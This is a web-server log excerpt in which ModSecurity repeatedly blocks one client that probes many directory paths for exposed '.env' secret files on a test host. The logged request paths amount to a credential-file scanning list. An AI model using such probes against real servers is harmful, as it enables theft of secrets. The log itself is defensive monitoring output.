[Mon Jul 28 20:46:19.791758 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv6_controller/examples/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJreliQAAAAg&quot;]
[Mon Jul 28 20:46:19.791953 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv6_controller/examples/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJreliQAAAAg&quot;]
[Mon Jul 28 20:46:19.821249 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /srv6_controller/node-manager/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv6_controller/node-manager/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJreligAAAAg&quot;]
[Mon Jul 28 20:46:19.821476 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv6_controller/node-manager/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJreligAAAAg&quot;]
[Mon Jul 28 20:46:19.821677 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv6_controller/node-manager/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJreligAAAAg&quot;]
[Mon Jul 28 20:46:19.850854 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /st-js-be-2020-movies-two/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/st-js-be-2020-movies-two/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJreliwAAAAg&quot;]
[Mon Jul 28 20:46:19.851063 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/st-js-be-2020-movies-two/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJreliwAAAAg&quot;]
[Mon Jul 28 20:46:19.851232 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/st-js-be-2020-movies-two/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJreliwAAAAg&quot;]
[Mon Jul 28 20:46:19.910334 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /stackato-pkg/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stackato-pkg/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJreljQAAAAg&quot;]
[Mon Jul 28 20:46:19.910554 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stackato-pkg/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJreljQAAAAg&quot;]
[Mon Jul 28 20:46:19.910721 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stackato-pkg/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJreljQAAAAg&quot;]
[Mon Jul 28 20:46:19.942225 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /stag/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stag/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJreljgAAAAg&quot;]
[Mon Jul 28 20:46:19.942449 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stag/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJreljgAAAAg&quot;]
[Mon Jul 28 20:46:19.942624 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stag/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJreljgAAAAg&quot;]
[Mon Jul 28 20:46:20.033080 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /staging/api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/api/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrelkQAAAAg&quot;]
[Mon Jul 28 20:46:20.033295 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/api/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrelkQAAAAg&quot;]
[Mon Jul 28 20:46:20.033503 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/api/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrelkQAAAAg&quot;]
[Mon Jul 28 20:46:20.064042 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /staging/backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/backend/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrelkgAAAAg&quot;]
[Mon Jul 28 20:46:20.064251 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/backend/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrelkgAAAAg&quot;]
[Mon Jul 28 20:46:20.064421 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/backend/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrelkgAAAAg&quot;]
[Mon Jul 28 20:46:20.093636 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /staging/frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/frontend/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrelkwAAAAg&quot;]
[Mon Jul 28 20:46:20.093837 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/frontend/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrelkwAAAAg&quot;]
[Mon Jul 28 20:46:20.093998 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/frontend/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrelkwAAAAg&quot;]
[Mon Jul 28 20:46:20.123319 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /static-collected/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static-collected/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrellAAAAAg&quot;]
[Mon Jul 28 20:46:20.123546 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static-collected/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrellAAAAAg&quot;]
[Mon Jul 28 20:46:20.123726 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static-collected/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrellAAAAAg&quot;]
[Mon Jul 28 20:46:20.153063 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /static-html/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static-html/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrellQAAAAg&quot;]
[Mon Jul 28 20:46:20.153306 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static-html/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrellQAAAAg&quot;]
[Mon Jul 28 20:46:20.153533 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static-html/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrellQAAAAg&quot;]
[Mon Jul 28 20:46:20.182967 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /static-root/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static-root/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrellgAAAAg&quot;]
[Mon Jul 28 20:46:20.183199 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static-root/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrellgAAAAg&quot;]
[Mon Jul 28 20:46:20.183402 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static-root/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrellgAAAAg&quot;]
[Mon Jul 28 20:46:20.212765 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /static/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrellwAAAAg&quot;]
